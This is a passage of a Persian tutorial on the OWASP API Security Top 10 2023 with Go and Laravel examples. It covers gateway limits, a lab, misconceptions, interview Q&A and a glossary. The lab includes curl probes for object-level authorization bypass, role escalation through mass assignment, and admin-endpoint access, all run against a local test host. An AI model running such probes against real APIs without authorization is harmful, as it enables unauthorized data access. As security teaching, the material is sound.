API gateway مسئول TLS، احراز هویت، سقف نرخ کلی، اندازهٔ درخواست، CORS و فهرست مجاز مسیر است؛ API2، API4، API8 و API9. مسیر ناشناخته را رد میکند، اما نمیتواند مجوز شیء و ویژگی را تعیین کند؛ مالک سفارش ۱۰۰۲ یا فیلدهای مجاز برای پشتیبان را نمیداند. نمونهٔ جریان: موبایل → gateway که access tokenِ OAuth را اعتبارسنجی میکند، نسخهٔ ارسالی کلاینت از X-User-Id و X-Tenant-Id را حذف و مقدار معتبر را اضافه میکند و throttle کاربر را اعمال میکند → سرویس orders که هویت gateway را با mTLS یا توکن داخلی امضاشده میسنجد، tenant و مالک را بررسی و DTO میدهد → سرویس pricing که داخلی است، روی gateway عمومی نیست و با audience: internal ثبت شده. هر سرویس برای بررسی شیء به فراخوانندهٔ داخلی هم اعتماد نمیکند؛ سرویس هکشده یا سردرگم مسیر BOLA است. هر سرویسِ تماسگیرنده با شریک، مصرفکنندهٔ API10 با کلاینت سختشدهٔ خودش است. بند microservice در API2 برقرار است: هیچ سرویس "without authentication" در دسترس نیست. لایهٔ gateway در API gateway، BFF و service mesh، هویت سرویس در Mutual TLS است.
دادهٔ توزیعشده: replica، cache، جستوجو و region
مجوز باید هر کپی داده را دنبال کند. index جستوجوی Elasticsearch یا OpenSearch ساختهشده از orders باید tenant_id و owner_id را ذخیره و در هر Query فیلتر کند؛ وگرنه /search?q= یک BOLA دورزنندهٔ Policyهای primary است. پاسخ شخصی در cache با کلید کاربر ذخیره شود؛ Cache-Control: private و کلید دارای tenant و user، تا DTO یک کاربر به دیگری نرسد. export تحلیلی و data lake همان فیلتر tenant و فهرست مجاز ویژگی را میخواهند؛ password_hash در warehouse نباشد. شمارندهٔ API6 بین نمونهها و regionها state مشترک میخواهد: Redis مستقل هر region به ربات اجازه میدهد در هر region دو واحد بخرد. عرضه را به یک region ببرید یا هزینهٔ تأخیر شمارندهٔ سراسری را بپذیرید. Replica تأخیر دارد؛ نقش تازهباطلشده هنوز ممکن است از replica بخواند. بررسی مدیر از primary یا مرجع حقیقت با TTL کوتاه میخواند. Inventory چندمنطقهای همهٔ میزبانها و نسخههای منطقهای را شامل میشود.
مسیر رشد: ۱x، ۱۰x، ۱۰۰x
| مقیاس | چه تغییر میکند |
|---|---|
| 1x؛ یک تیم و یک API | Policy و Query محدود، DTO در دو جهت، جدول مسیر با رد پیشفرض، تست دوکاربره، لاگ authz_fail، OpenAPI تولیدشده در CI، throttle کاربر |
| 10x؛ چند سرویس و تیم | gateway برای احراز هویت، محدودیت نرخ و فهرست مجاز مسیر؛ کتابخانهٔ مجوز مشترک یا موتور policy مانند OPA، Cedar و OpenFGA؛ تولید تست ماتریس نقش از inventory؛ سقف جریان مشترک در Redis؛ ساخت کلاینتهای شریک از یک بستهٔ سختشده؛ هشدارهای SIEM بر پایهٔ نرخ authz_fail |
| 100x؛ پلتفرم، چند region و شریک | inventory مرکزی API با مالک مشخص و جریان داده طبق NIST REC-API-4؛ کشف Shadow API از ترافیک واقعی؛ اعمال چرخهٔ عمر نسخه توسط پلتفرم با Deprecation/Sunset/410؛ مدیریت ربات در مرز برای جریانهای نامگذاریشده؛ مجوز رابطهمحور یا ReBAC برای اشتراکگذاری؛ مرور امنیت فروشنده برای تکتک integrationها؛ برنامهٔ bug bounty با دامنهٔ مشخص API |
آزمایشگاه
گامهای ۱ تا ۳ و ۹ روی این ماشین اجرا شدهاند: Go 1.27.4، PHP 8.5.0 CLI و jq. بقیه موردانتظار و اجرانشده هستند؛ برنامهٔ Laravel، پایگاه داده و هدف شبکه موجود نبوده است.
- اجرای تستهای Go؛ اجرای واقعی در ۲۰۲۶-۱۱-۲۹:
$ cd docs/snippets/system-design/owasp-api-security-top-10/go
$ go test -race -count=1 ./...
ok academy/owasp-api-security-top-10/authn
ok academy/owasp-api-security-top-10/bfla
ok academy/owasp-api-security-top-10/bola
ok academy/owasp-api-security-top-10/bopla
ok academy/owasp-api-security-top-10/consume
ok academy/owasp-api-security-top-10/flows
ok academy/owasp-api-security-top-10/inventory
ok academy/owasp-api-security-top-10/misconfig
ok academy/owasp-api-security-top-10/principal
ok academy/owasp-api-security-top-10/resource
ok academy/owasp-api-security-top-10/ssrf- اجرای واقعی:
gofmt -l .وgo vet ./...خروجی ندارند. تستها را به این ترتیب بخوانید و پیش از دیدن هر assertion نتیجه را پیشبینی کنید:bola_test.go؛ Ana سفارش Bob را میخواند و ۳ شناسه از ۴ شناسه را پیمایش میکند؛ پس از اصلاح، شیء بیگانه و ناموجود ۴۰۴ بایتبهبایت یکسان و دقیقاً یک خطauthz_failمیدهند.bopla_test.go؛password_hashدر پاسخ و نوشتنroleوblocked؛ سپس خروجی DTO دقیقاً{"id":313,"name":"Sam"}است.bfla_test.go؛ سه فراخوانی مدیریتی برای کاربر موفق میشوند؛ پس از اصلاح، ۴۰۳ برای کاربر، ۲۰۰ برای مدیر، ۴۰۵ برایPUT، و رد مسیر بیpolicy توسطNewMux.flows_test.go؛ یک اسکریپت ۱۰۰ از ۱۰۰ را میخرد؛ پس از اصلاح ۲ و حساب دوم روی همان دستگاه ۰.inventory_test.go؛/debug/varsزنده است؛ پس از اصلاح startup باshadow=[GET /debug/vars]شکست میخورد، v1 هدرDeprecation: @1782863999و سپس ۴۱۰ میدهد.consume_test.go؛ سرور مهاجم رکورد ۲۱ بایتی میگیرد؛ پس از اصلاح،ErrRedirectبرای redirect،ErrEndpointبرای گام اولhttp://یا خارج فهرست و ۰ بایت. - اجرای واقعی:
php -lروی ۲۴ فایل PHP برای هرکدامNo syntax errors detectedچاپ میکند. - موردانتظار، اجرانشده: در برنامهٔ Laravel 13 با
php artisan install:apiبرای Sanctum، فایلها در جای خود کپی شوند،Before/routes.phpبهroutes/before.phpبرود و migration و factory همراه نصب شوند. دستورphp artisan test --filter='ApiSecurityTest|BeforeLeaksTest'باید ۲۵ تست را قبول کند: ۱۰ درBeforeLeaksTestبا مشاهدهٔ نشت و ۱۵ درApiSecurityTestعلیه مسیرهای اصلاحشده. - موردانتظار، اجرانشده: آزمون دستی BOLA علیه برنامه.
$ TOKEN_ANA=...; curl -s -o /dev/null -w '%{http_code}\n' -H "Authorization: Bearer $TOKEN_ANA" https://api.test/api/v2/orders/1002
404
$ tail -n1 storage/logs/laravel.log
[2026-11-29 10:00:00] local.WARNING: authz_fail {"user_id":41,"ability":"view","resource":"App\\Models\\Order","object_id":1002}- موردانتظار، اجرانشده: کاوش BOPLA. دستور
curl -s -X PATCH -H "Authorization: Bearer $TOKEN_ANA" -H 'Content-Type: application/json' -H 'Accept: application/json' -d '{"name":"Ana","role":"admin"}' https://api.test/api/v2/meمقدار422با{"message":"The role field is prohibited.","errors":{"role":["The role field is prohibited."]}}میدهد. بدنهٔ خطای JSON بهAccept: application/jsonنیاز دارد؛ بدون آن Laravel شکست اعتبارسنجی را redirect میکند. - موردانتظار، اجرانشده: BFLA. دستور
curl -s -o /dev/null -w '%{http_code}' -H "Authorization: Bearer $TOKEN_ANA" https://api.test/api/v2/admin/usersمقدار403چاپ میکند. - موردانتظار، اجرانشده: چرخهٔ عمر API9. دستور
curl -sI -H "Authorization: Bearer $TOKEN_ANA" https://api.test/api/v1/orders/1001 | grep -iE 'deprecation|sunset|link'هدرهایDeprecation: @1782863999،Sunset: Thu, 31 Dec 2026 23:59:59 GMTوLink: </api/v2/orders>; rel="successor-version"را نشان میدهد؛ ساعت پس از sunset، خط وضعیتHTTP/2 410میشود. - اجرای واقعی: مقایسهٔ inventory. در CI ورودی نخست از
php artisan route:list --json --path=api > routes.jsonمیآید؛ این بخش موردانتظار و اینجا اجرانشده است. اجرای ثبتشده از fixture با همان شکل JSON استفاده میکند: یکی مطابقroutes/api.phpو دیگری با مسیر سایهٔ اضافه:
$ cd docs/snippets/system-design/owasp-api-security-top-10/php
$ scripts/inventory-diff.sh tests/fixtures/route-list.json openapi.json; echo "exit=$?"
exit=0
$ scripts/inventory-diff.sh tests/fixtures/route-list-shadow.json openapi.json; echo "exit=$?"
1d0
< GET /api/debug/env
exit=1
$ scripts/inventory-diff.sh tests/fixtures/route-list-extra-method.json openapi.json; echo "exit=$?"
10d9
< POST /api/v2/orders
exit=1فیلد method هر مسیر با شکل GET|HEAD|POST به یک خط برای هر متد گسترش مییابد. HEAD حذف میشود چون GET آن را ضمنی دارد؛ بنابراین POST اعلامنشده روی مسیر موجود پشت GET پنهان نمیشود. شرط شکست CI کد خروج است: هر خط < یعنی shadow، در کد و نه spec؛ هر خط > یعنی missing، در spec و نه کد. هرکدام خروج diff را ۱ و job را ناموفق میکند. همتای Go، inventory.Mount است که شروع را رد میکند. inventory.Parse نیز template مسیر مانند {id} را بدون پارامتر مسیر required رد میکند؛ این الزام OpenAPI 3.1 است. ابتدا پارامترها طبق OpenAPI resolve میشوند: پارامتر سطح operation جای پارامتر سطح path با نام و in یکسان را میگیرد.
بدفهمیهای رایج
| باور | واقعیت |
|---|---|
| احراز هویت یعنی مجوز | توکن معتبر میگوید چه کسی؛ BOLA، BFLA و BOPLA همگی «احرازشده ولی غلط» هستند |
| UUID جلوی BOLA را میگیرد | جلوی enumeration را میگیرد؛ شناسهٔ نشتکرده بدون بررسی شیء هنوز کار میکند؛ RFC 9562: "SHOULD NOT assume that UUIDs are hard to guess" |
مقایسهٔ JWT sub با شناسهٔ مسیر BOLA را حل میکند | OWASP: فقط "only a small subset of cases" |
| 403 برای شیء بیگانه صادقانهتر از 404 است | 403 وجود شیء را تأیید میکند؛ 404 یکسان کانال کشف وجود را حذف میکند |
| کلاینت فیلد حساس را پنهان میکند، پس API میتواند بدهد | پاسخ خود داده است؛ DTO پاسخ بسازید |
$guarded = ['role'] امن است | ستون تازه فهرست ممنوع را به حالت باز میشکند؛ $fillable / #[Fillable] |
| اعتبارسنجی فیلد موردانتظار جلوی Mass Assignment را میگیرد | فیلد غیرمنتظره باید رد شود یا با فهرست مجاز نادیده گرفته شود |
مسیر مدیریتی /admin با قاعدهٔ gateway محافظت میشود | تابع مدیریتی اغلب زیر /api/users هم هست؛ بررسی هر مسیر و متد |
| سقف IP ربات را متوقف میکند | ربات توزیعشده IPهای متعدد دارد؛ سقف جریان برای کاربر، دستگاه و منبع |
| سوءاستفادهٔ جریان باگ امنیتی نیست | OWASP آن را API6 میداند؛ جریان بدون کنترل جبرانی عرضه شده |
| نسخهٔ قدیمی مستندنشده بیضرر است | Zombie و Shadow API ضعف قدیمی و دادهٔ واقعی را نگه میدارند |
| gateway همهٔ میزبانها را محافظت میکند | فقط میزبان عبوری از خودش؛ beta در OWASP limiter را دور زد |
| API شریک منبع مورداعتماد است | API10: اعتبارسنجی، سقف، timeout و هرگز redirect کور |
| کلاینت HTTP پیشفرض امن است | DefaultClient در Go timeout ندارد و 10 redirect دنبال میکند؛ timeout پیشفرض Laravel برابر 30 s است |
| Injection از فهرست API حذف شده، پس مهم نیست | از مسیر دادهٔ بالادستی API10 و سختسازی API8 برمیگردد |
چکیده
| موضوع | به خاطر بسپارید |
|---|---|
| فهرست | 2023: BOLA، Broken Authentication، BOPLA، Resource Consumption، BFLA، Business Flows، SSRF، Misconfiguration، Inventory، Unsafe Consumption |
| سه سطح مجوز | تابع API5، شیء API1، ویژگی API3؛ هر سه در هر درخواست |
| اصلاح BOLA | principal از context، Query محدود، Policy object، 404 بیگانه و authz_fail |
| BOLA در Laravel | where('tenant_id', ...)->findOrFail($id)، Gate::authorize('view', $order)، Response::denyAsNotFound() |
| شناسه | UUIDv7/UUIDv4 عمومی علیه enumeration؛ هرگز جای بررسی نیست |
| خواندن BOPLA | DTO پاسخ / JsonResource؛ #[Hidden] فقط پشتیبان |
| نوشتن BOPLA | DTO ورودی و DisallowUnknownFields؛ Form Request و prohibited؛ #[Fillable] / $fillable، هرگز $guarded = [] |
| BFLA | رد پیشفرض؛ متد در مسیر؛ گروه can:admin و attributeِ controller؛ تست ماتریس نقش |
| API6 | جریان را نامگذاری کنید؛ سقف کاربر، دستگاه و منبع؛ زمان سبد تا checkout؛ challenge و قید DB |
| API4 | سقف صفحه، بدنه و batch، timeout و هزینه |
| API9 | OpenAPI با مالک و چرخهٔ عمر؛ مقایسهٔ CI؛ Deprecation → Sunset → 410 → حذف |
| API10 | TLS، فهرست مجاز میزبان، بدون redirect کور، timeout، سقف اندازه، اعتبارسنجی فیلد و bind پارامتر |
| API2 | Re-authentication تغییر ایمیل/MFA؛ محدودیت reset مانند ورود |
| API7 / API8 | فهرست URL و بررسی IP هنگام اتصال؛ خطای عمومی problem+json؛ CORS دقیق |
| لاگ | authz_fail با کاربر، ability، منبع و شناسهٔ شیء؛ هشدار نرخ کاربر |
| تست | دو کاربر هر tenant و یکی در tenant بیگانه؛ هر منبع × متد |
خودآزمایی: پرسش و پاسخ
- حیاتی تقریباً در هر مصاحبه پرسیده میشود
- مهم پرتکرار؛ در سطح senior انتظار میرود
- تکمیلی عمق بیشتر؛ تمایز ایجاد میکند
۱ — تفاوت BOLA و BFLA چیست؟ برای هرکدام یک مثال بزنید. حیاتی
پاسخ
پاسخ: در BOLA یا API1، تابع مجاز است ولی این شیء مجاز نیست؛ Ana با GET /orders/1002 سفارش Bob را میخواند. در BFLA یا API5، خود تابع مجاز نیست؛ کاربر عادی POST /api/invites/new یا DELETE /api/users/2 را صدا میزند. OWASP دربارهٔ رسیدن مهاجم به تابع غیرمجاز میگوید: "this is a case of Broken Function Level Authorization (BFLA) rather than BOLA". API1 و API5 را ببینید.
۲ — چرا مقایسهٔ subject توکن JWT با شناسهٔ مسیر، اصلاح BOLA نیست؟ حیاتی
پاسخ
پاسخ: فقط مسیرهایی را پوشش میدهد که شناسه خود کاربر است: /users/{id}. بیشتر اشیا، مانند سفارش، فاکتور، سند، خودرو و فروشگاه، از طریق رابطه مالک دارند، در tenant مشترکاند یا دسترسیشان واگذار شده. باید شیء بارگذاری و policy روی مالک و tenant ارزیابی شود. OWASP میگوید این مقایسه "could address only a small subset of cases".
۳ — شیء بیگانه باید ۴۰۳ بدهد یا ۴۰۴؟ لاگ چه بگوید؟ مهم
پاسخ
پاسخ: ۴۰۴ دقیقاً مشابه شیء ناموجود، تا پاسخ وجود شناسه را تأیید نکند؛ Response::denyAsNotFound() در Laravel همین کار را میکند. لاگ فقط وقتی شیء موجود و Policy ردکننده است رخداد authz_fail مینویسد: کاربر، ability، نوع منبع، شناسهٔ شیء و request id. به این ترتیب هشدار کاوش را اندازه میگیرد، نه غلط تایپی را.
۴ — UUID، BOLA را اصلاح میکند؟ چه چیزی را اصلاح میکند؟ حیاتی
پاسخ
پاسخ: نه. شناسهٔ تصادفی، UUIDv4 یا بخش تصادفی UUIDv7، enumeration و افشای حجم را میبندد تا BOLA با حلقه قابلبهرهبرداری نباشد. شناسهٔ نشتکرده از لینک، لاگ یا پاسخ دیگر بدون بررسی مجوز شیء هنوز کار میکند. RFC 9562 میگوید UUIDها "MUST NOT be used as security capabilities"؛ آنها را دفاع در عمق بدانید.
۵ — کدام دو خطر ۲۰۱۹ به API3 BOPLA تبدیل شدند و اصلاح هر سمت چیست؟ حیاتی
پاسخ
پاسخ: API3:2019 Excessive Data Exposure در سمت خواندن و API6:2019 Mass Assignment در سمت نوشتن، بر پایهٔ ریشهٔ مشترک مجوز ویژگی ادغام شدند. خواندن: DTO پاسخ با فهرست ویژگی مجاز؛ JsonResource یا structِ Go برای هر مخاطب. نوشتن: DTO ورودی یا Form Request با DisallowUnknownFields، prohibited و $fillable/#[Fillable] که فقط ویژگی مجاز بپذیرد.
۶ — چرا $guarded ضعیفتر از $fillable است؟ مهم
پاسخ
پاسخ: $guarded فهرست ممنوع است؛ هر ستون خارج فهرست نوشتنی است. ستون تازهای مثل is_verified یا credit_limit بدون تصمیم کسی mass-assignable میشود. $fillable (در Laravel 13: #[Fillable]) فهرست مجاز است؛ ستونی که صریحاً در آن نیامده باشد قابلنوشتن نیست. cheat sheetِ OWASP: "Do not rely on a block-list as the sole protection."
۷ — چگونه مسیر مدیریتی بدون بررسی را ناممکن میکنید، نه فقط کماحتمال؟ مهم
پاسخ
پاسخ: رد پیشفرض در ثبت: هر مسیر باید policy خود، یعنی نقشها یا «هر کاربر احرازشده» صریح، را اعلام کند؛ وگرنه router مانند bfla.NewMux شروع نمیشود. متد در الگو باشد تا DELETE policy خودش و متد ثبتنشده ۴۰۵ داشته باشد. در Laravel همهٔ مسیرها داخل گروه احرازشده، مسیر مدیر داخل can:admin و بررسی دوباره روی controller با #[Middleware('can:admin')] باشد؛ تست ماتریس مسیر × نقش پشتوانهٔ آن است.
۸ — همهٔ درخواستها معتبر بودند ولی رباتها کل عرضه را خریدند. چهار کنترل و محدودیتشان چیست؟ حیاتی
پاسخ
پاسخ: سقف کاربر با UNIQUE (drop_id, user_id) در پایگاه داده، که مزرعهٔ حساب دور میزند؛ سقف دستگاه با اثرانگشت، که جعلپذیر است و مرور حریم خصوصی میخواهد. قاعدهٔ زمان غیرانسانی مانند سبد تا checkout زیر یک ثانیه، که ربات هوشمند با صبر دور میزند؛ و نرخ منبع، مثلاً هر SKU در دقیقه، که جهش مجاز را هم به صف میبرد. هنگام تردید CAPTCHA یا step-up بدهید و صف یا قرعهکشی را در نظر بگیرید تا سرعت مزیت نباشد.
۹ — Shadow API و Zombie API چیستند و OpenAPI چگونه کمک میکند؟ مهم
پاسخ
پاسخ: Shadow API اجرا میشود ولی هرگز ثبت نشده: مسیر debug، میزبان beta یا endpoint شریک. Zombie API جایگزین شده ولی حذف نشده، مثل نسخهٔ قدیمی بدون محدودیت نرخ تازه. با OpenAPI بهعنوان inventory شامل مسیر، متد، x-owner، x-audience، deprecated و x-sunset، CI آن را با مسیرهای build مقایسه و روی shadow شکست میخورد. middleware چرخهٔ عمر با Deprecation/Sunset کنارگذاری را اعلام میکند و پس از sunset پاسخ ۴۱۰ میدهد.
۱۰ — پنج کاری را بگویید که کلاینت API شریک باید انجام دهد و http.DefaultClient انجام نمیدهد. مهم
پاسخ
پاسخ: timeout بگذارد؛ پیشفرض ندارد. Redirect بیرون فهرست مجاز را رد کند؛ پیشفرض تا ۱۰ بار دنبال میکند و بدنه را روی ۳۰۷/۳۰۸ دوباره میفرستد. TLS را الزامی، بدنه را با io.LimitReader محدود، وضعیت و content type را بررسی، و سپس هر فیلد را مثل ورودی کاربر اعتبارسنجی و پارامتر SQL کند. این همان فهرست API10 است: TLS، اعتبارسنجی، بدون redirect کور، سقف منابع و timeout.
۱۱ — چرا API gateway بهتنهایی BOLA و BOPLA را حل نمیکند؟ تکمیلی
پاسخ
پاسخ: gateway مسیر، متد و توکن را میبیند، نه پایگاه داده. نمیداند سفارش ۱۰۰۲ متعلق به کاربر ۵۷ است یا این بیننده کدام فیلدهای کاربر را مجاز است ببیند. احراز هویت، محدودیت نرخ، فهرست مسیر و قواعد کلی نقش یا scope را انجام میدهد؛ API2، API4، بخشی از API5 و API9. بررسی شیء و ویژگی به دادهٔ دامنه نیاز دارد و در سرویس است.
۱۲ — چرا Injection و Insufficient Logging از فهرست API سال ۲۰۲۳ حذف شدند؟ یعنی دیگر مهم نیستند؟ تکمیلی
پاسخ
پاسخ: یادداشت انتشار برای حذف هیچیک از این دو دسته دلیل مشخصی نمیدهد؛ دربارهٔ خود فهرست میگوید "does not replace other TOP 10's". موضوع Injection در فصل OWASP Top 10 وب بهطور کامل بررسی میشود، درحالیکه صفحهٔ API6 همچنان مدخل ثبت لاگِ فهرست ۲۰۱۹ را در منابعش دارد. بنابراین هر دو هنوز اهمیت دارند: سناریوهای API10 نشاندهندهٔ تزریق از مسیر دادهٔ بالادستیاند، و تشخیص درخواستهایی که برای کشف BOLA ارسال میشوند به ثبت و هشدار شکستهای مجوز وابسته است.
واژهنامه
| اصطلاح | معنی |
|---|---|
| OWASP API Security Top 10 2023 | دومین ویرایش OWASP پس از ۲۰۱۹ برای ده خطر مهم امنیت API؛ API1:2023 تا API10:2023 |
| روش امتیازدهی OWASP Risk Rating Methodology | امتیاز هر خطر بر پایهٔ exploitability، شیوع ضعف، تشخیصپذیری و اثر فنی؛ هرکدام 3/2/1 |
| جدول ریسک (Risk table: exploitability, prevalence, detectability, impact) | سطر امتیاز هر خطر در بالای صفحهٔ OWASP آن |
| API1 Broken Object Level Authorization (BOLA) | فراخواننده مجاز به endpoint است ولی با تغییر شناسه به شیء دیگری میرسد |
| IDOR | Insecure Direct Object Reference؛ نام وب همین شکست، CWE-639 |
| بررسی مجوز شیء (Object-level authorization check) | تصمیم هر درخواست: «این فراخواننده این عمل را روی این شیء مجاز است؟» |
| پیمایش شناسه (Enumeration) | یافتن شناسهٔ معتبر با آزمودن ترتیب یا الگو |
| UUID در برابر شناسهٔ ترتیبی (UUID vs sequential ids) | UUIDv4 و UUIDv7 تصادفی در برابر enumeration مقاوماند؛ ترتیبی حجم و ترتیب را افشا میکند؛ هیچکدام مجوز نیست |
| UUIDv7 | UUID در RFC 9562 با timestamp میلیثانیهٔ Unix در 48 بیت و سپس بیت تصادفی؛ مرتبشده با زمان |
| بررسی مالکیت از context (Context-based ownership check) | خواندن فراخواننده از context درخواست، هرگز از خود ورودی، و مقایسه با مالک و tenant شیء |
| Query محدودشده (Scoped query) | WHERE شامل tenant یا مالک فراخواننده است تا ردیف بیگانه بارگذاری نشود |
| امنیت سطری (Row-level security / RLS) | قابلیت PostgreSQL برای فیلتر ردیف با policy؛ مثلاً current_setting('app.tenant_id') |
| API2 Broken Authentication | ورود، مدیریت توکن یا بازیابی ضعیف که تصاحب هویت را ممکن میکند |
| احراز هویت مجدد (Re-authentication) | درخواست دوبارهٔ گذرواژه، passkey یا MFA پیش از تغییر حساس |
| API3 Broken Object Property Level Authorization (BOPLA) | خواندن یا نوشتن ویژگی غیرمجاز؛ ادغام excessive data exposure و mass assignment |
| افشای بیشازحد داده (Excessive data exposure) | بازگرداندن ویژگی غیرمجاز با اتکا به پنهانکردن کلاینت؛ API3:2019 |
| انتساب انبوه (Mass assignment) | bind فیلد درخواست به شیء و نوشتن ویژگی غیرمجاز توسط کلاینت؛ API6:2019 و CWE-915؛ نامهای autobinding و object injection هم دارد |
| فهرست مجاز ویژگیها (Allow-list of properties) | فهرست صریح ویژگیهای پذیرفته یا بازگرداندهشده؛ بقیه حذفاند |
| شیء انتقال دادهٔ پاسخ (Response DTO) | دقیقاً مشخص میکند چه چیزی برای یک مخاطب از API خارج میشود |
| شیء انتقال دادهٔ ورودی (Input DTO) | نوعی که دقیقاً ویژگیهای قابلتنظیم درخواست را تعریف میکند |
$fillable | property مدل Laravel به سبک 12.x و قدیمیتر برای attributeهای mass-assignable؛ در Laravel 13، #[Fillable] |
$guarded | property مدل Laravel برای attributeهای غیر mass-assignable؛ فهرست ممنوع؛ $guarded = [] همه را آزاد میکند |
#[Hidden] | attribute مدل Laravel 13 برای حذف ویژگی از سریالسازی array/JSON |
DisallowUnknownFields | گزینهٔ Go json.Decoder برای شکست decode روی کلید بیرون struct مقصد |
| API4 Unrestricted Resource Consumption | نبود سقف کار، اندازه، batch، زمان یا هزینهٔ هر درخواست یا کلاینت |
| سقف هزینه (Spending limit) | سقف یا هشدار صورتحساب مصرف پولی شخص ثالث مانند SMS و AI |
| API5 Broken Function Level Authorization (BFLA) | فراخوانی تابعی، اغلب مدیریتی، که نقش فراخواننده مجاز نمیداند |
| endpoint مدیریتی (Admin endpoints) | تابع نقش ممتاز: خروجی کاربران، تغییر نقش، دعوت و impersonation |
| دستکاری متد (Method tampering) | تغییر GET به DELETE/PUT برای رسیدن به handler بیمحافظ |
| رد پیشفرض (Deny by default) | دسترسی رد است مگر قاعده اجازه دهد؛ در routing مسیر بدون policy وجود ندارد |
| API6 Unrestricted Access to Sensitive Business Flows | جریان مجاز خرید، رزرو، پست یا دعوت بدون محدودیت استفادهٔ خودکار و افراطی |
| سوءاستفادهٔ ربات (Bot abuse) | کلاینت خودکار جریان را سریعتر یا بیشتر از انسان مصرف میکند |
| سوءاستفادهٔ منطق کسبوکار (Business logic abuse) | استفادهٔ ناخواسته و زیانبار از قابلیت درست؛ بدون نیاز به باگ فنی |
| خرید احتکاری (Scalping) | خرید موجودی محدود برای فروش دوباره؛ OWASP OAT-005 |
| اثرانگشت دستگاه (Device fingerprinting) | شناسایی دستگاه از ویژگیهایش برای سقف یا challenge |
| الگوی غیرانسانی (Non-human pattern) | رفتار ناممکن برای انسان، مثل سبد تا checkout زیر یک ثانیه |
| سقف کاربر و منبع (Rate limits per user and per resource) | محدودیت با کلید حساب و شیء کمیاب مانند SKU یا وقت؛ نه فقط IP |
| API7 Server Side Request Forgery | واکشی URL کلاینت توسط API و هدایت به هدف داخلی؛ CWE-918 |
| API8 Security Misconfiguration | پیشفرض ناامن، خطای پرجزئیات، نبود TLS، CORS باز و proxy ناسازگار |
| جزئیات مسئله (Problem details) | قالب خطای RFC 9457 با application/problem+json؛ اینجا فقط شناسهٔ همبستگی |
| API9 Improper Inventory Management | میزبان، نسخه، مسیر و جریان دادهٔ ناشناخته یا مستندنشده |
| فهرست API (API inventory) | ثبت هر میزبان، نسخه، محیط، مخاطب، مالک، عملیات و جریان دادهٔ API |
| API سایه (Shadow API) | API فعال بیرون inventory و مرور امنیتی؛ NIST: "Rogue or shadow APIs" |
| API زامبی (Zombie API) | نسخهٔ جایگزینشدهای که هنوز اجرا میشود؛ NIST: "Zombie or deprecated APIs" |
| OpenAPI بهعنوان inventory | سند OpenAPI با x-owner، deprecated، x-sunset مرجع حقیقت است و CI با کد مقایسهاش میکند |
| نسخهبندی و کنارگذاری (Versioning and deprecation) | اجرای نسخهها کنار هم با برنامهٔ بازنشستگی منتشرشده |
هدر Deprecation | هدر پاسخ RFC 9745 با @<unix-time> برای اعلام کنارگذاشتهشدن فعلی یا آیندهٔ منبع |
هدر Sunset | هدر پاسخ RFC 8594 با تاریخی که URI احتمالاً دیگر پاسخ نمیدهد |
| 410 Gone | وضعیت نسخهٔ عبورکرده از sunset |
| API10 Unsafe Consumption of APIs | اعتماد به پاسخ API ثالث؛ بدون TLS، اعتبارسنجی، سقف یا timeout، همراه redirect کور |
| اعتماد به API ثالث (Third-party API trust) | سطح اعتماد به شریک؛ برای داده، برابر کلاینت غیرقابلاعتماد |
| اعتبارسنجی ورودی پاسخ بالادستی (Input validation of upstream responses) | بررسی نوع، طول، الگو و enum دادهٔ شریک پیش از مصرف و سپس bind آن |
| میانافزار مجوز (Authorization middleware) | فیلتر پیش از handler برای احراز هویت و قواعد کلی سطح تابع |
| اشیای سیاست (Policy objects) | کلاس یا تابع تصمیم اجازه/رد عمل روی شیء؛ Laravel Policies یا تابع policy در Go |
| Laravel Policies | کلاس در app/Policies با متد هر عمل، کشف از نامگذاری یا #[UsePolicy] |
| Gate | facade مجوز Laravel: Gate::define، Gate::authorize، Gate::before، Gate::after |
| Form Request | کلاس درخواست Laravel با authorize() و rules()؛ validated() فقط کلید مجاز برمیگرداند |
prohibited | قاعدهٔ Laravel: فیلد باید غایب یا خالی باشد |
API resource (JsonResource) | تبدیلکنندهٔ پاسخ Laravel؛ اینجا DTO پاسخ |
| مجوز handler در Go (Go handler authorization) | principal از context، wrapperِ policy مسیر و تابع policy داخل handler |
| دروازهٔ API (API gateway) | مؤلفهٔ مرزی TLS، احراز هویت، سقف نرخ، routing و فهرست مجاز مسیر |
authz_fail | رخداد OWASP Logging Vocabulary برای تلاش دسترسی غیرمجاز |
| ثبت و هشدار شکست مجوز (Logging and alerting for authorization failures) | ثبت رد Policy بهعنوان رخداد امنیتی و هشدار روی نرخ آن |
| ارجاع CWE (CWE references) | شناسهٔ ضعف در صفحهٔ هر خطر OWASP؛ مثل CWE-639، CWE-915، CWE-285 |
| CWE-639 | Authorization Bypass Through User-Controlled Key؛ عبور از مجوز با کلید تحت کنترل کاربر |
| CWE-915 | Improperly Controlled Modification of Dynamically-Determined Object Attributes؛ کنترل نادرست تغییر ویژگی پویای شیء |
| CWE-213 | Exposure of Sensitive Information Due to Incompatible Policies؛ افشای اطلاعات حساس بر اثر policy ناسازگار |
| CWE-285 | Improper Authorization؛ بررسی نادرست مجوز (Authorization) |
| CWE-1059 | Insufficient Technical Documentation؛ مستندات فنی ناکافی؛ OWASP عبارت "Incomplete Documentation" را چاپ میکند |
| NIST SP 800-228 | Guidelines for API Protection for Cloud-Native Systems؛ ژوئن ۲۰۲۵، بهروزرسانی مارس ۲۰۲۶ |
| ماتریس مجوز (Authorization matrix) | جدول نقش × تابع و شیء برای تولید تست مجوز |
منابع
- OWASP API Security Top 10 2023, the list: https://owasp.org/API-Security/editions/2023/en/0x11-t10/
- OWASP API Security 2023, Introduction, Release Notes, API Security Risks (risk rating), Methodology and Data: introduction, release notes, risks, methodology and data, what's next for developers
- OWASP API Security 2023 risk pages: API1 BOLA, API2 Broken Authentication, API3 BOPLA, API4 Unrestricted Resource Consumption, API5 BFLA, API6 Sensitive Business Flows, API7 SSRF, API8 Security Misconfiguration, API9 Improper Inventory Management, API10 Unsafe Consumption of APIs
- OWASP API Security 2019 (for the mapping): list, API3:2019 Excessive Data Exposure, API6:2019 Mass Assignment
- OWASP API Security Project: https://owasp.org/www-project-api-security/
- OWASP Risk Rating Methodology: https://owasp.org/www-community/OWASP_Risk_Rating_Methodology
- OWASP Automated Threats to Web Applications: project, OAT-005 Scalping
- OWASP Cheat Sheets: REST Security, Mass Assignment, Authorization, Authorization Testing Automation, IDOR Prevention, Input Validation, Logging, Logging Vocabulary, Web Service Security, GraphQL
- MITRE CWE: CWE-285, CWE-639, CWE-862, CWE-863, CWE-915, CWE-213, CWE-1321, CWE-204, CWE-307, CWE-770, CWE-400, CWE-799, CWE-918, CWE-16, CWE-1059, CWE-20, CWE-200, CWE-319
